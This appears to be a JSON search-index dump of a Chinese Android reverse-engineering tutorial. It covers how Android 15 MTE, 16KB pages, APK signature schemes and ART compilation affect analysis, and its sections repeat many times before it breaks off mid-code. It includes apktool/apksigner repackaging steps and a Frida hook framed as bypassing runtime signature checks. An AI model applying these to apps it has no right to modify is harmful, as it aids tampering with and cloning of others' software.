所有指针高位包含 tag，直接使用会导致地址错误 内存 dump dump 的指针值包含 tag，需要 mask 后才能使用 Exploit 开发 UAF 和堆溢出被硬件检测，利用难度大幅增加 Hook 框架 需要正确处理 tagged pointer，否则 hook 可能失败 调试工具 GDB/LLDB 需要支持 MTE 才能正确显示地址 // Frida 中处理 MTE tagged pointer function untagPointer(ptr) { // 移除高字节中的 MTE tag // ARM64 的 TBI (Top Byte Ignore) 允许高字节存储 tag var mask = ptr_size === 8 ? ptr('0x00FFFFFFFFFFFFFF') : ptr('0xFFFFFFFF'); return ptr.and(mask); } // 使用示例 Interceptor.attach(targetAddr, { onEnter: function(args) { var rawPtr = args[0]; var cleanPtr = untagPointer(rawPtr); console.log('[*] Raw pointer: ' + rawPtr); console.log('[*] Clean pointer: ' + cleanPtr); console.log('[*] MTE tag: 0x' + rawPtr.shr(56).and(0xF).toString(16)); } }); 3.11.3 Privacy Sandbox Privacy Sandbox 旨在替代广告追踪标识符（如 GAID），引入 Topics API、Attribution Reporting 等新机制。 对逆向影响：分析广告 SDK 和用户追踪机制时需要了解新的 Privacy Sandbox API。 3.11.4 截屏检测 API Android 15 引入了 Activity.ScreenCaptureCallback，允许应用检测用户截屏行为。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:11","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3112-mte-memory-tagging-extension-生产可用"},{"categories":null,"collections":null,"content":"3.11 Android 15 (V, API 35) 3.11.1 16KB 页面大小全面支持 Android 15 将 16KB 页面大小从可选变为全面支持，所有新发布的设备和 SO 库都需要适配。 必须适配的要点： 所有 Native 库的 ELF 段必须按 16KB 对齐 使用 NDK r27+ 编译以确保兼容 旧的 SO 库可能无法在 16KB 页面设备上加载 # 检查 SO 是否兼容 16KB 页面 # 需要所有 LOAD 段的 p_align \u003e= 0x4000 check_16kb_compat() { local so_file=$1 readelf -l \"$so_file\" 2\u003e/dev/null | grep \"LOAD\" | while read line; do align=$(echo \"$line\" | awk '{print $NF}') if [ \"$align\" != \"0x4000\" ] \u0026\u0026 [ \"$align\" != \"0x10000\" ]; then echo \"[-] $so_file: 不兼容 16KB 页面 (align=$align)\" return 1 fi done echo \"[+] $so_file: 兼容 16KB 页面\" } # 批量检查应用中的所有 SO for so in $(unzip -l target.apk | grep \"\\.so$\" | awk '{print $4}'); do unzip -o target.apk \"$so\" -d /tmp/check_so/ check_16kb_compat \"/tmp/check_so/$so\" done 3.11.2 MTE (Memory Tagging Extension) 生产可用 MTE 是 ARMv8.5-A 引入的硬件级内存安全特性，Android 15 将其推向生产可用状态。MTE 在指针的高位（Top Byte）存储一个 4-bit 的标签 (tag)，并在内存分配时为每个 16 字节的内存 granule 分配一个对应的标签。访问内存时，硬件自动检查指针标签与内存标签是否匹配。 # MTE 指针格式 指针值: 0x0B00007F12345678 ^^ ||-- 4-bit memory tag (值: 0x0B) | 高位字节中的标签 # 内存布局: 地址: 0x7F12345670 0x7F12345680 0x7F12345690 标签: [0B] [0B] [03] ↑ 匹配 ↑ 匹配 ↑ 不匹配 → 触发异常 # 影响所有基于指针的分析: # 1. 读取指针值时需要 mask 掉 tag bits # 2. 构造指针时需要设置正确的 tag # 3. 内存扫描需要考虑 tagged pointer MTE 对逆向工程的影响： 影响方面 详细说明 指针分析 所有指针高位包含 tag，直接使用会导致地址错误 内存 dump dump 的指针值包含 tag，需要 mask 后才能使用 Exploit 开发 UAF 和堆溢出被硬件检测，利用难度大幅增加 Hook 框架 需要正确处理 tagged pointer，否则 hook 可能失败 调试工具 GDB/LLDB 需要支持 MTE 才能正确显示地址 // Frida 中处理 MTE tagged pointer function untagPointer(ptr) { // 移除高字节中的 MTE tag // ARM64 的 TBI (Top Byte Ignore) 允许高字节存储 tag var mask = ptr_size === 8 ? ptr('0x00FFFFFFFFFFFFFF') : ptr('0xFFFFFFFF'); return ptr.and(mask); } // 使用示例 Interceptor.attach(targetAddr, { onEnter: function(args) { var rawPtr = args[0]; var cleanPtr = untagPointer(rawPtr); console.log('[*] Raw pointer: ' + rawPtr); console.log('[*] Clean pointer: ' + cleanPtr); console.log('[*] MTE tag: 0x' + rawPtr.shr(56).and(0xF).toString(16)); } }); 3.11.3 Privacy Sandbox Privacy Sandbox 旨在替代广告追踪标识符（如 GAID），引入 Topics API、Attribution Reporting 等新机制。 对逆向影响：分析广告 SDK 和用户追踪机制时需要了解新的 Privacy Sandbox API。 3.11.4 截屏检测 API Android 15 引入了 Activity.ScreenCaptureCallback，允许应用检测用户截屏行为。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:11","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3113-privacy-sandbox"},{"categories":null,"collections":null,"content":"3.11 Android 15 (V, API 35) 3.11.1 16KB 页面大小全面支持 Android 15 将 16KB 页面大小从可选变为全面支持，所有新发布的设备和 SO 库都需要适配。 必须适配的要点： 所有 Native 库的 ELF 段必须按 16KB 对齐 使用 NDK r27+ 编译以确保兼容 旧的 SO 库可能无法在 16KB 页面设备上加载 # 检查 SO 是否兼容 16KB 页面 # 需要所有 LOAD 段的 p_align \u003e= 0x4000 check_16kb_compat() { local so_file=$1 readelf -l \"$so_file\" 2\u003e/dev/null | grep \"LOAD\" | while read line; do align=$(echo \"$line\" | awk '{print $NF}') if [ \"$align\" != \"0x4000\" ] \u0026\u0026 [ \"$align\" != \"0x10000\" ]; then echo \"[-] $so_file: 不兼容 16KB 页面 (align=$align)\" return 1 fi done echo \"[+] $so_file: 兼容 16KB 页面\" } # 批量检查应用中的所有 SO for so in $(unzip -l target.apk | grep \"\\.so$\" | awk '{print $4}'); do unzip -o target.apk \"$so\" -d /tmp/check_so/ check_16kb_compat \"/tmp/check_so/$so\" done 3.11.2 MTE (Memory Tagging Extension) 生产可用 MTE 是 ARMv8.5-A 引入的硬件级内存安全特性，Android 15 将其推向生产可用状态。MTE 在指针的高位（Top Byte）存储一个 4-bit 的标签 (tag)，并在内存分配时为每个 16 字节的内存 granule 分配一个对应的标签。访问内存时，硬件自动检查指针标签与内存标签是否匹配。 # MTE 指针格式 指针值: 0x0B00007F12345678 ^^ ||-- 4-bit memory tag (值: 0x0B) | 高位字节中的标签 # 内存布局: 地址: 0x7F12345670 0x7F12345680 0x7F12345690 标签: [0B] [0B] [03] ↑ 匹配 ↑ 匹配 ↑ 不匹配 → 触发异常 # 影响所有基于指针的分析: # 1. 读取指针值时需要 mask 掉 tag bits # 2. 构造指针时需要设置正确的 tag # 3. 内存扫描需要考虑 tagged pointer MTE 对逆向工程的影响： 影响方面 详细说明 指针分析 所有指针高位包含 tag，直接使用会导致地址错误 内存 dump dump 的指针值包含 tag，需要 mask 后才能使用 Exploit 开发 UAF 和堆溢出被硬件检测，利用难度大幅增加 Hook 框架 需要正确处理 tagged pointer，否则 hook 可能失败 调试工具 GDB/LLDB 需要支持 MTE 才能正确显示地址 // Frida 中处理 MTE tagged pointer function untagPointer(ptr) { // 移除高字节中的 MTE tag // ARM64 的 TBI (Top Byte Ignore) 允许高字节存储 tag var mask = ptr_size === 8 ? ptr('0x00FFFFFFFFFFFFFF') : ptr('0xFFFFFFFF'); return ptr.and(mask); } // 使用示例 Interceptor.attach(targetAddr, { onEnter: function(args) { var rawPtr = args[0]; var cleanPtr = untagPointer(rawPtr); console.log('[*] Raw pointer: ' + rawPtr); console.log('[*] Clean pointer: ' + cleanPtr); console.log('[*] MTE tag: 0x' + rawPtr.shr(56).and(0xF).toString(16)); } }); 3.11.3 Privacy Sandbox Privacy Sandbox 旨在替代广告追踪标识符（如 GAID），引入 Topics API、Attribution Reporting 等新机制。 对逆向影响：分析广告 SDK 和用户追踪机制时需要了解新的 Privacy Sandbox API。 3.11.4 截屏检测 API Android 15 引入了 Activity.ScreenCaptureCallback，允许应用检测用户截屏行为。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:11","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#3114-截屏检测-api"},{"categories":null,"collections":null,"content":"4. 逆向工具兼容性矩阵 下表展示了主流逆向工具在不同 Android 版本范围内的兼容性情况： 工具 Android 7-9 Android 10-12 Android 13-15 关键适配点 Frida ✅ ✅ ✅ (需适配) XOM 绕过、SELinux 策略、MTE 兼容 Xposed (原版) ✅ ❌ ❌ 仅支持 ART 5.0-8.1，已停止维护 LSPosed ❌ ✅ ✅ 基于 Riru/Zygisk，需要 Magisk Magisk ✅ ✅ ✅ (需最新版) 版本 24+ 改用 Zygisk 架构 objection ✅ ✅ ✅ 基于 Frida，兼容性取决于 Frida apktool ✅ ✅ ✅ (v2.9+) 需适配新资源格式和签名方案 jadx ✅ ✅ ✅ Java/Kotlin 反编译无版本差异 IDA Pro ✅ ✅ ✅ Native 层静态分析无版本差异 Ghidra ✅ ✅ ✅ 同上，但需关注 16KB 页面对齐 r2/radare2 ✅ ✅ ✅ 同上 工具版本建议： # 推荐的工具最低版本（截至 2025 年） Frida: \u003e= 16.x # 支持 Android 14/15 新特性 Magisk: \u003e= 26.x # Zygisk 架构稳定版 LSPosed: \u003e= 1.9.x # 最新 Zygisk 模块版本 apktool: \u003e= 2.9.x # 支持新资源格式 objection: \u003e= 1.11.x # 基于最新 Frida ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:4:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#4-逆向工具兼容性矩阵"},{"categories":null,"collections":null,"content":"5. APK 签名方案演进 APK 签名方案从 v1 到 v4 经历了四代演进，每一代都增强了安全性。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#5-apk-签名方案演进"},{"categories":null,"collections":null,"content":"5.1 签名方案对比 方案 引入版本 签名范围 防篡改能力 重打包难度 v1 (JAR Signing) 所有版本 仅 ZIP 条目 弱：可修改未签名条目 低 v2 (APK Sig Scheme) Android 7.0+ 整个 APK 文件 强：文件级完整性 中 v3 (Key Rotation) Android 9.0+ 整个 APK + 密钥轮换 强：支持证书链 中 v4 (Incremental) Android 11+ 增量安装验证 补充：仅用于安装优化 不影响 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#51-签名方案对比"},{"categories":null,"collections":null,"content":"5.2 各方案详解 v1: JAR Signing APK (ZIP 格式) ├── classes.dex ← 签名覆盖 ├── resources.arsc ← 签名覆盖 ├── res/ ← 签名覆盖 ├── lib/ ← 签名覆盖 ├── META-INF/ │ ├── MANIFEST.MF ← 各文件 SHA 摘要 │ ├── CERT.SF ← MANIFEST.MF 的签名 │ └── CERT.RSA ← 证书 + 签名 └── assets/ ← 签名覆盖 弱点： 仅对 ZIP 条目进行独立签名 可以在不破坏签名的情况下在 ZIP 文件的注释区域添加数据 可以利用 ZIP 格式的特性绕过部分检查 v2: APK Signature Scheme v2 APK 文件结构 (v2 签名): ┌──────────────────────┐ │ ZIP 内容区 │ ← 签名保护区域 1 ├──────────────────────┤ │ APK Signing Block │ ← 包含 v2 签名数据 ├──────────────────────┤ │ 中央目录 │ ← 签名保护区域 2 ├──────────────────────┤ │ 中央目录结尾 │ ← 签名保护区域 3 └──────────────────────┘ v2 对 APK Signing Block 以外的所有区域计算摘要并签名，任何修改都会导致验证失败。 v3: Key Rotation v3 在 v2 的基础上增加了密钥轮换支持，允许使用新证书签名同时保持与旧证书的信任链： Signing Block 中的证书链: 旧证书 A → 新证书 B → 当前证书 C v4: Incremental Install v4 签名主要用于 ADB 增量安装，生成独立的 .idsig 文件。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#52-各方案详解"},{"categories":null,"collections":null,"content":"5.2 各方案详解 v1: JAR Signing APK (ZIP 格式) ├── classes.dex ← 签名覆盖 ├── resources.arsc ← 签名覆盖 ├── res/ ← 签名覆盖 ├── lib/ ← 签名覆盖 ├── META-INF/ │ ├── MANIFEST.MF ← 各文件 SHA 摘要 │ ├── CERT.SF ← MANIFEST.MF 的签名 │ └── CERT.RSA ← 证书 + 签名 └── assets/ ← 签名覆盖 弱点： 仅对 ZIP 条目进行独立签名 可以在不破坏签名的情况下在 ZIP 文件的注释区域添加数据 可以利用 ZIP 格式的特性绕过部分检查 v2: APK Signature Scheme v2 APK 文件结构 (v2 签名): ┌──────────────────────┐ │ ZIP 内容区 │ ← 签名保护区域 1 ├──────────────────────┤ │ APK Signing Block │ ← 包含 v2 签名数据 ├──────────────────────┤ │ 中央目录 │ ← 签名保护区域 2 ├──────────────────────┤ │ 中央目录结尾 │ ← 签名保护区域 3 └──────────────────────┘ v2 对 APK Signing Block 以外的所有区域计算摘要并签名，任何修改都会导致验证失败。 v3: Key Rotation v3 在 v2 的基础上增加了密钥轮换支持，允许使用新证书签名同时保持与旧证书的信任链： Signing Block 中的证书链: 旧证书 A → 新证书 B → 当前证书 C v4: Incremental Install v4 签名主要用于 ADB 增量安装，生成独立的 .idsig 文件。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#v1-jar-signing"},{"categories":null,"collections":null,"content":"5.2 各方案详解 v1: JAR Signing APK (ZIP 格式) ├── classes.dex ← 签名覆盖 ├── resources.arsc ← 签名覆盖 ├── res/ ← 签名覆盖 ├── lib/ ← 签名覆盖 ├── META-INF/ │ ├── MANIFEST.MF ← 各文件 SHA 摘要 │ ├── CERT.SF ← MANIFEST.MF 的签名 │ └── CERT.RSA ← 证书 + 签名 └── assets/ ← 签名覆盖 弱点： 仅对 ZIP 条目进行独立签名 可以在不破坏签名的情况下在 ZIP 文件的注释区域添加数据 可以利用 ZIP 格式的特性绕过部分检查 v2: APK Signature Scheme v2 APK 文件结构 (v2 签名): ┌──────────────────────┐ │ ZIP 内容区 │ ← 签名保护区域 1 ├──────────────────────┤ │ APK Signing Block │ ← 包含 v2 签名数据 ├──────────────────────┤ │ 中央目录 │ ← 签名保护区域 2 ├──────────────────────┤ │ 中央目录结尾 │ ← 签名保护区域 3 └──────────────────────┘ v2 对 APK Signing Block 以外的所有区域计算摘要并签名，任何修改都会导致验证失败。 v3: Key Rotation v3 在 v2 的基础上增加了密钥轮换支持，允许使用新证书签名同时保持与旧证书的信任链： Signing Block 中的证书链: 旧证书 A → 新证书 B → 当前证书 C v4: Incremental Install v4 签名主要用于 ADB 增量安装，生成独立的 .idsig 文件。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#v2-apk-signature-scheme-v2"},{"categories":null,"collections":null,"content":"5.2 各方案详解 v1: JAR Signing APK (ZIP 格式) ├── classes.dex ← 签名覆盖 ├── resources.arsc ← 签名覆盖 ├── res/ ← 签名覆盖 ├── lib/ ← 签名覆盖 ├── META-INF/ │ ├── MANIFEST.MF ← 各文件 SHA 摘要 │ ├── CERT.SF ← MANIFEST.MF 的签名 │ └── CERT.RSA ← 证书 + 签名 └── assets/ ← 签名覆盖 弱点： 仅对 ZIP 条目进行独立签名 可以在不破坏签名的情况下在 ZIP 文件的注释区域添加数据 可以利用 ZIP 格式的特性绕过部分检查 v2: APK Signature Scheme v2 APK 文件结构 (v2 签名): ┌──────────────────────┐ │ ZIP 内容区 │ ← 签名保护区域 1 ├──────────────────────┤ │ APK Signing Block │ ← 包含 v2 签名数据 ├──────────────────────┤ │ 中央目录 │ ← 签名保护区域 2 ├──────────────────────┤ │ 中央目录结尾 │ ← 签名保护区域 3 └──────────────────────┘ v2 对 APK Signing Block 以外的所有区域计算摘要并签名，任何修改都会导致验证失败。 v3: Key Rotation v3 在 v2 的基础上增加了密钥轮换支持，允许使用新证书签名同时保持与旧证书的信任链： Signing Block 中的证书链: 旧证书 A → 新证书 B → 当前证书 C v4: Incremental Install v4 签名主要用于 ADB 增量安装，生成独立的 .idsig 文件。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#v3-key-rotation"},{"categories":null,"collections":null,"content":"5.2 各方案详解 v1: JAR Signing APK (ZIP 格式) ├── classes.dex ← 签名覆盖 ├── resources.arsc ← 签名覆盖 ├── res/ ← 签名覆盖 ├── lib/ ← 签名覆盖 ├── META-INF/ │ ├── MANIFEST.MF ← 各文件 SHA 摘要 │ ├── CERT.SF ← MANIFEST.MF 的签名 │ └── CERT.RSA ← 证书 + 签名 └── assets/ ← 签名覆盖 弱点： 仅对 ZIP 条目进行独立签名 可以在不破坏签名的情况下在 ZIP 文件的注释区域添加数据 可以利用 ZIP 格式的特性绕过部分检查 v2: APK Signature Scheme v2 APK 文件结构 (v2 签名): ┌──────────────────────┐ │ ZIP 内容区 │ ← 签名保护区域 1 ├──────────────────────┤ │ APK Signing Block │ ← 包含 v2 签名数据 ├──────────────────────┤ │ 中央目录 │ ← 签名保护区域 2 ├──────────────────────┤ │ 中央目录结尾 │ ← 签名保护区域 3 └──────────────────────┘ v2 对 APK Signing Block 以外的所有区域计算摘要并签名，任何修改都会导致验证失败。 v3: Key Rotation v3 在 v2 的基础上增加了密钥轮换支持，允许使用新证书签名同时保持与旧证书的信任链： Signing Block 中的证书链: 旧证书 A → 新证书 B → 当前证书 C v4: Incremental Install v4 签名主要用于 ADB 增量安装，生成独立的 .idsig 文件。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#v4-incremental-install"},{"categories":null,"collections":null,"content":"5.3 重打包工具和方法 # 1. 反编译 apktool d -r target.apk -o target_dir/ # -r 不解码资源（加速） # 2. 修改代码/资源 # ... 修改 smali 代码 ... # 3. 重新打包 apktool b target_dir/ -o modified_unsigned.apk # 4. 对齐 zipalign -v 4 modified_unsigned.apk modified_aligned.apk # 5. 签名（支持 v1+v2+v3） apksigner sign \\ --ks my-release-key.jks \\ --ks-key-alias my-alias \\ --v1-signing-enabled true \\ --v2-signing-enabled true \\ --v3-signing-enabled true \\ modified_aligned.apk # 6. 验证签名 apksigner verify --verbose --print-certs modified_aligned.apk 签名验证绕过注意事项： // 部分应用会在运行时校验签名，需要 hook 绕过 Java.perform(function() { // 方法 1: Hook PackageManager.getPackageInfo 替换签名 var PackageManager = Java.use('android.app.ApplicationPackageManager'); PackageManager.getPackageInfo.overload('java.lang.String', 'int') .implementation = function(packageName, flags) { // GET_SIGNATURES = 64, GET_SIGNING_CERTIFICATES = 0x08000000 if ((flags \u0026 64) !== 0 || (flags \u0026 0x08000000) !== 0) { console.log('[*] Signature check intercepted for: ' + packageName); } return this.getPackageInfo(packageName, flags); }; // 方法 2: 直接修改签名数据 // 在内存中替换为原始签名的 byte array }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:5:3","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#53-重打包工具和方法"},{"categories":null,"collections":null,"content":"6. ART 运行时演进 ART 运行时的演进直接影响了 DEX dump、方法 Hook 和代码追踪的技术路径。 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:0","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#6-art-运行时演进"},{"categories":null,"collections":null,"content":"6.1 演进时间线 Android 4.4 Android 5.0 Android 7.0 Android 12 Android 14+ │ │ │ │ │ ▼ ▼ ▼ ▼ ▼ Dalvik ART (AOT) ART (AOT+JIT) ART Mainline ART + 16KB JIT 编译 纯 AOT 编译 混合编译 模块化更新 页面适配 dex2oat Profile-Guided 独立 APEX Compilation ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:1","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#61-演进时间线"},{"categories":null,"collections":null,"content":"6.2 编译模式演进 Dalvik JIT (Android 4.4 及更早) DEX 字节码 → Dalvik VM 解释执行 → 热点代码 JIT 编译 → 缓存本地代码 每次启动重新解释 JIT 编译结果不持久化 ART 纯 AOT (Android 5.0-6.0) 安装时: DEX → dex2oat → OAT 文件（完整 AOT 编译） 运行时: 直接执行 OAT 中的本地机器码 安装时间长（全量编译） 占用大量存储空间 运行性能好 ART 混合编译 (Android 7.0+) 安装时: DEX → 仅验证（不编译或仅编译关键路径） 首次运行: 解释执行 + JIT 编译热点代码 → 生成 Profile 文件（.prof） 设备空闲: Profile-Guided AOT 编译 → 仅编译 Profile 中标记的热点方法 后续运行: 热点代码 AOT 执行 + 冷代码解释/JIT # 查看应用的 Profile 文件 adb shell ls -la /data/misc/profiles/cur/0/com.target.app/ # 查看编译状态 adb shell cmd package compile -m speed -f com.target.app # 强制 AOT 编译 adb shell cmd package compile -m verify com.target.app # 仅验证 adb shell cmd package compile --reset com.target.app # 重置编译 Baseline Profiles (Android 12+) 开发者可以在 APK 中打包 Baseline Profile，指导 ART 在安装时预编译关键路径代码： APK 中的 assets/dexopt/baseline.prof → 安装时 ART 读取 Profile → AOT 编译 Profile 中标记的方法 → 首次启动即有优化代码可用 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#62-编译模式演进"},{"categories":null,"collections":null,"content":"6.2 编译模式演进 Dalvik JIT (Android 4.4 及更早) DEX 字节码 → Dalvik VM 解释执行 → 热点代码 JIT 编译 → 缓存本地代码 每次启动重新解释 JIT 编译结果不持久化 ART 纯 AOT (Android 5.0-6.0) 安装时: DEX → dex2oat → OAT 文件（完整 AOT 编译） 运行时: 直接执行 OAT 中的本地机器码 安装时间长（全量编译） 占用大量存储空间 运行性能好 ART 混合编译 (Android 7.0+) 安装时: DEX → 仅验证（不编译或仅编译关键路径） 首次运行: 解释执行 + JIT 编译热点代码 → 生成 Profile 文件（.prof） 设备空闲: Profile-Guided AOT 编译 → 仅编译 Profile 中标记的热点方法 后续运行: 热点代码 AOT 执行 + 冷代码解释/JIT # 查看应用的 Profile 文件 adb shell ls -la /data/misc/profiles/cur/0/com.target.app/ # 查看编译状态 adb shell cmd package compile -m speed -f com.target.app # 强制 AOT 编译 adb shell cmd package compile -m verify com.target.app # 仅验证 adb shell cmd package compile --reset com.target.app # 重置编译 Baseline Profiles (Android 12+) 开发者可以在 APK 中打包 Baseline Profile，指导 ART 在安装时预编译关键路径代码： APK 中的 assets/dexopt/baseline.prof → 安装时 ART 读取 Profile → AOT 编译 Profile 中标记的方法 → 首次启动即有优化代码可用 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#dalvik-jit-android-44-及更早"},{"categories":null,"collections":null,"content":"6.2 编译模式演进 Dalvik JIT (Android 4.4 及更早) DEX 字节码 → Dalvik VM 解释执行 → 热点代码 JIT 编译 → 缓存本地代码 每次启动重新解释 JIT 编译结果不持久化 ART 纯 AOT (Android 5.0-6.0) 安装时: DEX → dex2oat → OAT 文件（完整 AOT 编译） 运行时: 直接执行 OAT 中的本地机器码 安装时间长（全量编译） 占用大量存储空间 运行性能好 ART 混合编译 (Android 7.0+) 安装时: DEX → 仅验证（不编译或仅编译关键路径） 首次运行: 解释执行 + JIT 编译热点代码 → 生成 Profile 文件（.prof） 设备空闲: Profile-Guided AOT 编译 → 仅编译 Profile 中标记的热点方法 后续运行: 热点代码 AOT 执行 + 冷代码解释/JIT # 查看应用的 Profile 文件 adb shell ls -la /data/misc/profiles/cur/0/com.target.app/ # 查看编译状态 adb shell cmd package compile -m speed -f com.target.app # 强制 AOT 编译 adb shell cmd package compile -m verify com.target.app # 仅验证 adb shell cmd package compile --reset com.target.app # 重置编译 Baseline Profiles (Android 12+) 开发者可以在 APK 中打包 Baseline Profile，指导 ART 在安装时预编译关键路径代码： APK 中的 assets/dexopt/baseline.prof → 安装时 ART 读取 Profile → AOT 编译 Profile 中标记的方法 → 首次启动即有优化代码可用 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#art-纯-aot-android-50-60"},{"categories":null,"collections":null,"content":"6.2 编译模式演进 Dalvik JIT (Android 4.4 及更早) DEX 字节码 → Dalvik VM 解释执行 → 热点代码 JIT 编译 → 缓存本地代码 每次启动重新解释 JIT 编译结果不持久化 ART 纯 AOT (Android 5.0-6.0) 安装时: DEX → dex2oat → OAT 文件（完整 AOT 编译） 运行时: 直接执行 OAT 中的本地机器码 安装时间长（全量编译） 占用大量存储空间 运行性能好 ART 混合编译 (Android 7.0+) 安装时: DEX → 仅验证（不编译或仅编译关键路径） 首次运行: 解释执行 + JIT 编译热点代码 → 生成 Profile 文件（.prof） 设备空闲: Profile-Guided AOT 编译 → 仅编译 Profile 中标记的热点方法 后续运行: 热点代码 AOT 执行 + 冷代码解释/JIT # 查看应用的 Profile 文件 adb shell ls -la /data/misc/profiles/cur/0/com.target.app/ # 查看编译状态 adb shell cmd package compile -m speed -f com.target.app # 强制 AOT 编译 adb shell cmd package compile -m verify com.target.app # 仅验证 adb shell cmd package compile --reset com.target.app # 重置编译 Baseline Profiles (Android 12+) 开发者可以在 APK 中打包 Baseline Profile，指导 ART 在安装时预编译关键路径代码： APK 中的 assets/dexopt/baseline.prof → 安装时 ART 读取 Profile → AOT 编译 Profile 中标记的方法 → 首次启动即有优化代码可用 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#art-混合编译-android-70"},{"categories":null,"collections":null,"content":"6.2 编译模式演进 Dalvik JIT (Android 4.4 及更早) DEX 字节码 → Dalvik VM 解释执行 → 热点代码 JIT 编译 → 缓存本地代码 每次启动重新解释 JIT 编译结果不持久化 ART 纯 AOT (Android 5.0-6.0) 安装时: DEX → dex2oat → OAT 文件（完整 AOT 编译） 运行时: 直接执行 OAT 中的本地机器码 安装时间长（全量编译） 占用大量存储空间 运行性能好 ART 混合编译 (Android 7.0+) 安装时: DEX → 仅验证（不编译或仅编译关键路径） 首次运行: 解释执行 + JIT 编译热点代码 → 生成 Profile 文件（.prof） 设备空闲: Profile-Guided AOT 编译 → 仅编译 Profile 中标记的热点方法 后续运行: 热点代码 AOT 执行 + 冷代码解释/JIT # 查看应用的 Profile 文件 adb shell ls -la /data/misc/profiles/cur/0/com.target.app/ # 查看编译状态 adb shell cmd package compile -m speed -f com.target.app # 强制 AOT 编译 adb shell cmd package compile -m verify com.target.app # 仅验证 adb shell cmd package compile --reset com.target.app # 重置编译 Baseline Profiles (Android 12+) 开发者可以在 APK 中打包 Baseline Profile，指导 ART 在安装时预编译关键路径代码： APK 中的 assets/dexopt/baseline.prof → 安装时 ART 读取 Profile → AOT 编译 Profile 中标记的方法 → 首次启动即有优化代码可用 ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:6:2","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#baseline-profiles-android-12"},{"categories":null,"collections":null,"content":"6.3 对逆向工程的影响 DEX Dump 策略 // Frida DEX Dump (适用于所有 ART 版本) // 原理: 从 ClassLoader 中获取 DexFile 对象，读取其内存中的 DEX 数据 Java.perform(function() { Java.enumerateClassLoaders({ onMatch: 